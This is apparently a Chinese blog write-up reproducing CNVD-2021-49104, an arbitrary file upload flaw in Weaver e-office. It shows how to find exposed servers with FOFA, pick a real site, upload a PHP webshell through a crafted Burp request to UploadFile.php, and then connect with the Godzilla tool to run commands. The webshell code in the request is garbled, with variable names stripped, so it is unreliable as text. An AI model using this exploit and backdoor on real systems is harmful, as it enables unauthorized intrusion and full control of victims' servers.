image
一、前言
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
本文章中的漏洞均为公开的漏洞收集,如果文章中的漏洞出现敏感内容产生了部分影响,请及时联系作者,望谅解。
二、漏洞原理
本次复现漏洞为未公开漏洞 CNVD-2021-49104,该漏洞是由于 e-office 其上传模块中用户输入部分未能妥善处理,攻击者可以构造恶意的上传数据包,实现任意代码执行。
下图为漏洞相关代码段

图1 漏洞代码段
存在漏洞的源代码位置,主要是源于 uploadType 参数设为 eoffice_logo 时,对文件没有校验,导致任意文件上传。
私信回复“资料”领取相关技术资料
三、漏洞复现实战
1.信息收集
FOFA收集涉及E-office的Web站点

图2 FOFA信息收集
2.选取复现目标
以XX网站为例


图3 OA E-office 界面
3.构造POC
Burpsuite进行抓包,改包。数据包构造为
POC:
<pre class="hljs http" style="box-sizing: border-box; font-family: Consolas, Monaco, "Andale Mono", "Ubuntu Mono", monospace; font-size: 13px; word-break: break-word; overflow-wrap: normal; white-space: pre; overflow: auto; display: block; position: relative; margin: 0px 0px 20px; padding: 1em; border: none; border-radius: 4px; line-height: 1.5; background: rgb(246, 246, 246); color: rgb(51, 51, 51); font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;">POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1
Host: 127.0.0.1:7899
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Connection: close
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: LOGIN_LANG=cn; PHPSESSID=0acfd0a2a7858aa1b4110eca1404d348
Content-Length: 193
Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4
--e64bdf16c554bbc109cecef6451c26a4 Content-Disposition: form-data; name="Filedata"; filename="test.php" Content-Type: image/jpeg <?php @session_start(); @set_time_limit(0); @error_reporting(0); function encode(K){ for(
i<strlen(
i++) {
K[
D[
D[
c; } return
pass='pass';
key='3c6e0b8a9c15224a'; if (isset(
pass])){
_POST[
key); if (isset(
payloadName])){
_SESSION[
key); if (strpos(
payload=encode(
key); } eval(
pass.
data),
pass.
data,"getBasicsInfo")!==false){
payloadName]=encode(
key); } } } --e64bdf16c554bbc109cecef6451c26a4--</pre>

图4 Burpsuite改包
结合burp响应情况,回显为文件名,成功上传文件logo-eoffice.php。
4.验证漏洞并getshell
进行上传操作后,访问以下路径 http://???/images/logo/logo-eoffice.php


图5 访问文件路径
使用工具哥斯拉,进行连接shell

图6 哥斯拉getshell
进行命令执行,可以正常执行,成功getshell


图7 命令执行
四、总结
本文章简要介绍了该漏洞的漏洞原理并完成了漏洞复现的实战。
网友评论